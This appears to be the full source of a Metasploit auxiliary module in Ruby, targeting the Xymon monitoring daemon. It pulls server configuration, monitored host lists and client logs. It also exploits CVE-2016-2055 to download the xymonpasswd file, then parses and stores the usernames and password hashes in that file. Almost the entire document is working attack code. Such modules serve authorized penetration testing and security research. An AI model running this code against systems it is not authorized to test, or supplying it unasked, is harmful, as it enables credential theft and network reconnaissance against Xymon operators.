189 lines
4.8 KiB
Ruby
189 lines
4.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Xymon Daemon Gather Information',
|
|
'Description' => %q{
|
|
This module retrieves information from a Xymon daemon service
|
|
(formerly Hobbit, based on Big Brother), including server
|
|
configuration information, a list of monitored hosts, and
|
|
associated client log for each host.
|
|
|
|
This module also retrieves usernames and password hashes from
|
|
the `xymonpasswd` config file from Xymon servers before 4.3.25,
|
|
which permit download arbitrary config files (CVE-2016-2055),
|
|
and servers configured with `ALLOWALLCONFIGFILES` enabled.
|
|
},
|
|
'Author' => [
|
|
'Markus Krell', # CVE-2016-2055 discovery
|
|
'bcoles' # Metasploit
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2016-2055'],
|
|
['PACKETSTORM', '135758'],
|
|
['URL', 'https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'],
|
|
['URL', 'https://xymon.sourceforge.net/'],
|
|
['URL', 'https://en.wikipedia.org/wiki/Xymon'],
|
|
['URL', 'https://en.wikipedia.org/wiki/Big_Brother_(software)']
|
|
]
|
|
)
|
|
register_options [Opt::RPORT(1984)]
|
|
end
|
|
|
|
def xymon_send(cmd)
|
|
vprint_status "Sending: #{cmd}"
|
|
connect
|
|
sock.puts cmd
|
|
sock.shutdown(:WR)
|
|
return sock.get(5)
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
def run
|
|
res = xymon_send('ping').to_s
|
|
|
|
unless res.starts_with? 'xymond'
|
|
print_error 'Target is not a Xymon daemon'
|
|
return
|
|
end
|
|
|
|
version = res.scan(/^xymond ([\d\.]+)/).flatten.first
|
|
|
|
unless version
|
|
print_error 'Could not retrieve Xymon version'
|
|
end
|
|
|
|
print_status "Xymon daemon version #{version}"
|
|
|
|
service_data = {
|
|
address: rhost,
|
|
port: rport,
|
|
service_name: 'xymond',
|
|
protocol: 'tcp',
|
|
info: version,
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
xymond_service = report_service(service_data)
|
|
|
|
print_status 'Retrieving configuration files ...'
|
|
|
|
%w(xymonserver.cfg hosts.cfg xymonpasswd).each do |config|
|
|
res = xymon_send("config #{config}").to_s
|
|
|
|
if res.blank?
|
|
print_error "Could not retrieve #{config}"
|
|
next
|
|
end
|
|
|
|
path = store_loot(
|
|
"xymon.config.#{config.sub(/\.cfg$/, '')}",
|
|
'text/plain',
|
|
target_host,
|
|
res,
|
|
nil,
|
|
"config #{config}",
|
|
xymond_service
|
|
)
|
|
|
|
print_good "#{config} (#{res.size} bytes) stored in #{path}"
|
|
|
|
if config == 'xymonpasswd'
|
|
res.each_line.map {|l| l.strip}.reject{|l| l.blank? || l.starts_with?('#')}.each do |c|
|
|
user = c.split(':')[0].to_s.strip
|
|
hash = c.split(':')[1].to_s.strip
|
|
|
|
print_good("Credentials: #{user} : #{hash}")
|
|
|
|
credential_data = {
|
|
module_fullname: fullname,
|
|
origin_type: :service,
|
|
private_data: hash,
|
|
private_type: :nonreplayable_hash,
|
|
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
|
|
username: user
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
end
|
|
end
|
|
|
|
print_status 'Retrieving host list ...'
|
|
|
|
res = xymon_send('hostinfo').to_s
|
|
|
|
if res.blank?
|
|
print_error 'Could not retrieve client host list'
|
|
return
|
|
end
|
|
|
|
path = store_loot(
|
|
'xymon.hostinfo',
|
|
'text/plain',
|
|
target_host,
|
|
res,
|
|
nil,
|
|
'hostinfo',
|
|
xymond_service
|
|
)
|
|
|
|
print_good "Host info (#{res.size} bytes) stored in #{path}"
|
|
|
|
hosts = res.each_line.map {|line| line.split('|').first}.reject {|host| host.blank?}
|
|
|
|
if hosts.empty?
|
|
print_error 'Found no client hosts'
|
|
return
|
|
end
|
|
|
|
print_good "Found #{hosts.size} hosts"
|
|
|
|
print_status 'Retrieving client logs ...'
|
|
|
|
hosts.each do |host|
|
|
res = xymon_send("clientlog #{host}")
|
|
|
|
unless res
|
|
print_error "Could not retrieve client log for #{host}"
|
|
next
|
|
end
|
|
|
|
if res.blank?
|
|
print_status "#{host} client log is empty"
|
|
next
|
|
end
|
|
|
|
path = store_loot(
|
|
"xymon.hosts.#{host}",
|
|
'text/plain',
|
|
target_host,
|
|
res,
|
|
nil,
|
|
"clientlog #{host}",
|
|
xymond_service
|
|
)
|
|
|
|
print_good "#{host} client log (#{res.size} bytes) stored in #{path}"
|
|
end
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
rescue Timeout::Error => e
|
|
print_error(e.message)
|
|
end
|
|
end
|